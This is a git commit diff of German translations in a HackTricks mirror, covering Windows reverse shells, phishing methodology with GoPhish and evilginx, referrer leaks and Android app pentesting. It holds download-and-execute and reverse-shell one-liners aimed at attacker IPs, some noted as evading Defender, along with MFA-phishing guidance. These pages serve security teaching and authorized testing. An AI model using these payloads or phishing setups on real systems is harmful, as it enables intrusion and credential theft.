maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

Browse Source
This commit is contained in:
Translator 2025-02-04 18:44:07 +00:00
parent caca1f242e
commit 68e907363e
23 changed files with 422 additions and 420 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
src/generic-hacking/reverse-shells/windows.md
View File

@ -4,7 +4,7 @@
## Lolbas
Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows, wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux.\
Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows, wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux ist.\
Offensichtlich gibt es **keine SUID-Dateien oder sudo-Rechte in Windows**, aber es ist nützlich zu wissen, **wie** einige **Binaries** (miss)braucht werden können, um eine Art unerwarteter Aktionen wie **die Ausführung beliebigen Codes** durchzuführen.
## NC
@ -81,8 +81,8 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Prozess, der einen Netzwerkaufruf durchführt: **powershell.exe**\
Payload auf der Festplatte geschrieben: **NEIN** (_zumindest nirgendwo, wo ich es mit procmon finden konnte!_)
Prozess, der einen Netzwerkaufruf ausführt: **powershell.exe**\
Payload auf der Festplatte geschrieben: **NEIN** (_zumindest nirgendwo, wo ich mit procmon suchen konnte!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -165,7 +165,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
## **Rundll32**
[**Dll Hallo Welt Beispiel**](https://github.com/carterjones/hello-world-dll)
[**Dll Hello World Beispiel**](https://github.com/carterjones/hello-world-dll)
- [Von hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
#### Regsvr32 -sct
[**Von hier**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -279,8 +279,8 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
```bash
\\webdavserver\folder\batchfile.bat
```
Prozess, der einen Netzwerkaufruf durchführt: **svchost.exe**\
Payload auf der Festplatte geschrieben: **WebDAV-Client-Cache**
Prozess, der einen Netzwerkaufruf ausführt: **svchost.exe**\
Payload auf der Festplatte geschrieben: **WebDAV-Clientlokalcache**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -332,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Sie können diese Technik verwenden, um die Anwendungs-Whitelisting- und Powershell.exe-Beschränkungen zu umgehen. Sie werden mit einer PS-Shell aufgefordert.\
Sie können diese Technik verwenden, um die Anwendungs-Whitelist und die Einschränkungen von Powershell.exe zu umgehen. Sie werden mit einer PS-Shell aufgefordert.\
Laden Sie dies einfach herunter und führen Sie es aus: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -345,7 +345,7 @@ Kompiliere C#-Code auf der Opfermaschine.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Sie können eine grundlegende C# Reverse-Shell von hier herunterladen: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Sie können eine grundlegende C# Reverse Shell von hier herunterladen: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nicht erkannt**
@ -383,7 +383,7 @@ Starten Sie den Dienst des Skripts auf einem Webserver und führen Sie es am End
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender erkennt es (noch) nicht als bösartigen Code (3.04.2019).
Defender erkennt es (noch) nicht als bösartigen Code (Stand: 3.04.2019).
**TODO: Überprüfen Sie andere nishang-Shells**
@ -391,15 +391,15 @@ Defender erkennt es (noch) nicht als bösartigen Code (3.04.2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Laden Sie es herunter, starten Sie einen Webserver, starten Sie den Listener und führen Sie es auf der Seite des Opfers aus:
Laden Sie herunter, starten Sie einen Webserver, starten Sie den Listener und führen Sie es auf der Seite des Opfers aus:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender erkennt es (noch) nicht als bösartigen Code (3.04.2019).
Defender erkennt es (noch) nicht als bösartigen Code (Stand: 3.04.2019).
**Weitere Optionen, die von powercat angeboten werden:**
Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, hochladen/herunterladen, Payloads generieren, Dateien bereitstellen...
Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, Upload/Download, Payloads generieren, Dateien bereitstellen...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -434,11 +434,11 @@ Erstellen Sie eine PowerShell-Version der Metasploit-Hintertür mit Unicorn.
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Starte msfconsole mit der erstellten Ressource:
Starten Sie msfconsole mit der erstellten Ressource:
```
msfconsole -r unicorn.rc
```
Starten Sie einen Webserver, der die _powershell_attack.txt_-Datei bereitstellt, und führen Sie sie beim Opfer aus:
Starte einen Webserver, der die _powershell_attack.txt_ Datei bereitstellt und führe sie beim Opfer aus:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```

28
src/generic-methodologies-and-resources/phishing-methodology/README.md
View File

@ -5,7 +5,7 @@
## Methodik
1. Rekognoszieren Sie das Opfer
1. Wählen Sie die **Opferdomain**.
1. Wählen Sie die **Opferdomain** aus.
2. Führen Sie eine grundlegende Webenumeration durch, **um nach Anmeldeportalen** zu suchen, die vom Opfer verwendet werden, und **entscheiden** Sie, welches Sie **nachahmen** möchten.
3. Verwenden Sie einige **OSINT**, um **E-Mails zu finden**.
2. Bereiten Sie die Umgebung vor
@ -73,8 +73,8 @@ Um sicherzustellen, dass die abgelaufene Domain, die Sie kaufen möchten, **bere
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Um **mehr** gültige E-Mail-Adressen zu **entdecken** oder die bereits entdeckten zu **verifizieren**, können Sie überprüfen, ob Sie die SMTP-Server des Opfers bruteforcen können. [Erfahren Sie hier, wie Sie E-Mail-Adressen verifizieren/entdecken können](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein beliebiges Webportal verwenden, um auf ihre E-Mails zuzugreifen**, Sie überprüfen können, ob es anfällig für **Benutzernamen-Bruteforce** ist, und die Schwachstelle, wenn möglich, ausnutzen.
Um **mehr** gültige E-Mail-Adressen zu **entdecken** oder die bereits entdeckten **zu überprüfen**, können Sie prüfen, ob Sie die SMTP-Server des Opfers brute-forcen können. [Erfahren Sie hier, wie Sie E-Mail-Adressen überprüfen/entdecken](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein beliebiges Webportal verwenden, um auf ihre E-Mails zuzugreifen**, Sie überprüfen können, ob es anfällig für **Benutzername-Brute-Force** ist, und die Schwachstelle, wenn möglich, ausnutzen.
## Konfigurieren von GoPhish
@ -223,7 +223,7 @@ service gophish stop
### Warten & legitim sein
Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher solltest du so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Außerdem wird die Reputation besser, wenn du eine Seite über einen reputationswürdigen Sektor erstellst.
Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher solltest du so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Außerdem wird die Reputation besser, wenn du eine Seite über einen reputationswürdigen Sektor einrichtest.
Beachte, dass du auch, wenn du eine Woche warten musst, jetzt alles konfigurieren kannst.
@ -267,7 +267,7 @@ Dieses Tutorial basiert auf: [https://www.digitalocean.com/community/tutorials/h
### Testen Sie Ihre E-Mail-Konfigurationsbewertung
Sie können das mit [https://www.mail-tester.com/](https://www.mail-tester.com) tun.\
Zugreifen Sie einfach auf die Seite und senden Sie eine E-Mail an die Adresse, die sie Ihnen geben:
Greifen Sie einfach auf die Seite zu und senden Sie eine E-Mail an die Adresse, die sie Ihnen geben:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
@ -305,7 +305,7 @@ Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann Ihnen anzeigen
- Entscheiden Sie, von welchem Konto Sie die Phishing-E-Mails senden werden. Vorschläge: _noreply, support, servicedesk, salesforce..._
- Sie können den Benutzernamen und das Passwort leer lassen, aber stellen Sie sicher, dass Sie die Option "Zertifikatfehler ignorieren" aktivieren
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> Es wird empfohlen, die Funktion "**Test-E-Mail senden**" zu verwenden, um zu testen, ob alles funktioniert.\
@ -317,7 +317,7 @@ Die Seite [www.mail-tester.com](https://www.mail-tester.com) kann Ihnen anzeigen
- Schreiben Sie dann einen **Betreff** (nichts Ungewöhnliches, nur etwas, das Sie in einer regulären E-Mail erwarten würden)
- Stellen Sie sicher, dass Sie "**Tracking-Bild hinzufügen**" aktiviert haben
- Schreiben Sie die **E-Mail-Vorlage** (Sie können Variablen wie im folgenden Beispiel verwenden):
```markup
```html
<html>
<head>
<title></title>
@ -357,7 +357,7 @@ Beachten Sie, dass **um die Glaubwürdigkeit der E-Mail zu erhöhen**, empfohlen
> [!NOTE]
> Normalerweise müssen Sie den HTML-Code der Seite ändern und einige Tests lokal durchführen (vielleicht mit einem Apache-Server), **bis Ihnen die Ergebnisse gefallen.** Schreiben Sie dann diesen HTML-Code in das Feld.\
> Beachten Sie, dass Sie, wenn Sie **statische Ressourcen** für das HTML benötigen (vielleicht einige CSS- und JS-Seiten), diese in _**/opt/gophish/static/endpoint**_ speichern können und dann von _**/static/\<dateiname>**_ darauf zugreifen können.
> Beachten Sie, dass Sie, wenn Sie **statische Ressourcen** für das HTML verwenden müssen (vielleicht einige CSS- und JS-Seiten), diese in _**/opt/gophish/static/endpoint**_ speichern können und dann von _**/static/\<dateiname>**_ darauf zugreifen können.
> [!NOTE]
> Für die Weiterleitung könnten Sie **die Benutzer zur legitimen Hauptwebseite** des Opfers umleiten oder sie beispielsweise zu _/static/migration.html_ umleiten, eine **Ladeanimation** ([**https://loading.io/**](https://loading.io)**) für 5 Sekunden anzeigen und dann angeben, dass der Prozess erfolgreich war**.
@ -365,7 +365,7 @@ Beachten Sie, dass **um die Glaubwürdigkeit der E-Mail zu erhöhen**, empfohlen
### Benutzer & Gruppen
- Setzen Sie einen Namen
- **Importieren Sie die Daten** (beachten Sie, dass Sie, um die Vorlage für das Beispiel zu verwenden, den Vornamen, Nachnamen und die E-Mail-Adresse jedes Benutzers benötigen)
- **Importieren Sie die Daten** (beachten Sie, dass Sie für die Verwendung der Vorlage für das Beispiel den Vornamen, Nachnamen und die E-Mail-Adresse jedes Benutzers benötigen)
![](<../../images/image (163).png>)
@ -401,7 +401,7 @@ phishing-documents.md
## Phishing MFA
### Über Proxy MitM
### Via Proxy MitM
Der vorherige Angriff ist ziemlich clever, da Sie eine echte Website fälschen und die Informationen sammeln, die der Benutzer eingibt. Leider, wenn der Benutzer das richtige Passwort nicht eingegeben hat oder wenn die gefälschte Anwendung mit 2FA konfiguriert ist, **erlaubt Ihnen diese Information nicht, den getäuschten Benutzer zu impersonieren**.
@ -410,11 +410,11 @@ Hier sind Tools wie [**evilginx2**](https://github.com/kgretzky/evilginx2)**,**
1. Sie **imitieren das Anmeldeformular** der echten Webseite.
2. Der Benutzer **sendet** seine **Anmeldeinformationen** an Ihre gefälschte Seite und das Tool sendet diese an die echte Webseite, **um zu überprüfen, ob die Anmeldeinformationen funktionieren**.
3. Wenn das Konto mit **2FA** konfiguriert ist, wird die MitM-Seite danach fragen, und sobald der **Benutzer es eingibt**, sendet das Tool es an die echte Webseite.
4. Sobald der Benutzer authentifiziert ist, haben Sie (als Angreifer) die **Anmeldeinformationen, die 2FA, das Cookie und alle Informationen** jeder Interaktion erfasst, während das Tool einen MitM durchführt.
4. Sobald der Benutzer authentifiziert ist, haben Sie (als Angreifer) **die Anmeldeinformationen, die 2FA, das Cookie und alle Informationen** jeder Interaktion erfasst, während das Tool einen MitM durchführt.
### Über VNC
### Via VNC
Was wäre, wenn Sie anstatt den **Opfer zu einer bösartigen Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, ihn zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist, senden**? Sie können sehen, was er tut, das Passwort, die verwendete MFA, die Cookies stehlen...\
Was wäre, wenn Sie anstatt **das Opfer auf eine bösartige Seite** mit dem gleichen Aussehen wie die Originalseite zu senden, ihn zu einer **VNC-Sitzung mit einem Browser, der mit der echten Webseite verbunden ist, senden**? Sie können sehen, was er tut, das Passwort stehlen, die verwendete MFA, die Cookies...\
Sie können dies mit [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) tun.
## Erkennung der Erkennung
@ -428,7 +428,7 @@ Es gibt jedoch auch andere Möglichkeiten zu wissen, ob das Opfer **aktiv nach v
detecting-phising.md
{{#endref}}
Sie können **eine Domain mit einem sehr ähnlichen Namen** zur Domain des Opfers **kaufen und/oder ein Zertifikat** für einen **Subdomain** einer von Ihnen kontrollierten Domain **erzeugen**, die das **Schlüsselwort** der Domain des Opfers enthält. Wenn das **Opfer** irgendeine Art von **DNS- oder HTTP-Interaktion** mit ihnen durchführt, wissen Sie, dass **es aktiv nach** verdächtigen Domains sucht und Sie sehr stealthy sein müssen.
Sie können **eine Domain mit einem sehr ähnlichen Namen** zur Domain des Opfers **kaufen und/oder ein Zertifikat** für eine **Subdomain** einer von Ihnen kontrollierten Domain **erstellen**, die das **Schlüsselwort** der Domain des Opfers enthält. Wenn das **Opfer** irgendeine Art von **DNS- oder HTTP-Interaktion** mit ihnen durchführt, wissen Sie, dass **es aktiv nach** verdächtigen Domains sucht und Sie sehr stealthy sein müssen.
### Phishing bewerten

6
src/interesting-http.md
View File

@ -2,11 +2,11 @@
# Referrer-Header und Richtlinie
Referrer ist der Header, der von Browsern verwendet wird, um anzugeben, welche die vorherige besuchte Seite war.
Referrer ist der Header, der von Browsern verwendet wird, um anzuzeigen, welche die vorherige besuchte Seite war.
## Sensible Informationen geleakt
Wenn sich zu irgendeinem Zeitpunkt innerhalb einer Webseite sensible Informationen in den GET-Anforderungsparametern befinden, und die Seite Links zu externen Quellen enthält oder ein Angreifer in der Lage ist, den Benutzer dazu zu bringen, eine von ihm kontrollierte URL zu besuchen (Social Engineering), könnte es möglich sein, die sensiblen Informationen aus der letzten GET-Anforderung zu exfiltrieren.
Wenn sich an irgendeinem Punkt innerhalb einer Webseite sensible Informationen in den GET-Anforderungsparametern befinden, wenn die Seite Links zu externen Quellen enthält oder ein Angreifer in der Lage ist, den Benutzer dazu zu bringen, eine von ihm kontrollierte URL zu besuchen (Social Engineering), könnte es möglich sein, die sensiblen Informationen aus der letzten GET-Anforderung zu exfiltrieren.
## Minderung
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
## Gegenmaßnahmen
Sie können diese Regel mit einem HTML-Meta-Tag überschreiben (der Angreifer muss eine HTML-Injection ausnutzen):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

136
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -50,15 +50,15 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
Zunächst sollten Sie **einen Blick auf den Java-Code** werfen, indem Sie einen Decompiler verwenden.\
Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
### Suche nach interessanten Informationen
### Auf der Suche nach interessanten Informationen
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... schauen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
**Firebase**
Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen darüber, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Grundverständnis der Anwendung - Manifest.xml, strings.xml
### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
Die **Untersuchung der \_Manifest.xml**_\*\* und \*\*_**strings.xml**\_\*\* Dateien kann potenzielle Sicherheitsanfälligkeiten aufdecken\*\*. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
@ -67,16 +67,16 @@ Die **Untersuchung der \_Manifest.xml**_\*\* und \*\*_**strings.xml**\_\*\* Date
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt.
- **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeverletzungen verwaltet werden.
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeverwundbarkeiten verwaltet werden.
- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel, benutzerdefinierte Schemata und andere Entwicklernotizen entdeckt werden, was die Notwendigkeit einer sorgfältigen Überprüfung dieser Ressourcen unterstreicht.
### Tapjacking
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und **sich über eine Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und **sich über eine Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weitergibt.\
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opfer-App ausführt**.
Weitere Informationen finden Sie in:
@ -87,9 +87,9 @@ tapjacking.md
### Task Hijacking
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
Weitere Informationen finden Sie in:
Weitere Informationen in:
{{#ref}}
android-task-hijacking.md
@ -99,12 +99,12 @@ android-task-hijacking.md
**Interner Speicher**
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **zuzulassen**, dass Dateien zwischen verschiedenen Anwendungen **geteilt** werden. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
1. **Statische Analyse:**
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig überprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigt oder unbefugt zugänglich machen**.
2. **Dynamische Analyse:**
- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu ändern**.
**Externer Speicher**
@ -113,7 +113,7 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
1. **Zugänglichkeit**:
- Dateien auf externem Speicher sind **global lesbar und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
2. **Sicherheitsbedenken**:
- Angesichts der einfachen Zugänglichkeit wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
- Angesichts des einfachen Zugriffs wird geraten, **keine sensiblen Informationen** auf externem Speicher zu speichern.
- Externer Speicher kann entfernt oder von jeder Anwendung zugegriffen werden, was ihn weniger sicher macht.
3. **Umgang mit Daten vom externen Speicher**:
- Führen Sie immer **Eingangsvalidierungen** für Daten durch, die vom externen Speicher abgerufen werden. Dies ist entscheidend, da die Daten aus einer nicht vertrauenswürdigen Quelle stammen.
@ -122,15 +122,15 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
> [!NOTE]
> [!HINWEIS]
> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
**Sensible Daten im Klartext gespeichert**
- **Shared Preferences**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
- **Geteilte Präferenzen**: Android ermöglicht es jeder Anwendung, XML-Dateien im Pfad `/data/data/<packagename>/shared_prefs/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
- **Datenbanken**: Android ermöglicht es jeder Anwendung, SQLite-Datenbanken im Pfad `/data/data/<packagename>/databases/` einfach zu speichern, und manchmal ist es möglich, sensible Informationen im Klartext in diesem Ordner zu finden.
### Gebrochene TLS
### Gebrochenes TLS
**Alle Zertifikate akzeptieren**
@ -154,10 +154,10 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun
### Weitere Überprüfungen
- Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu überprüfen, ob sie modifiziert wurde.
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen.
### React Native Anwendung
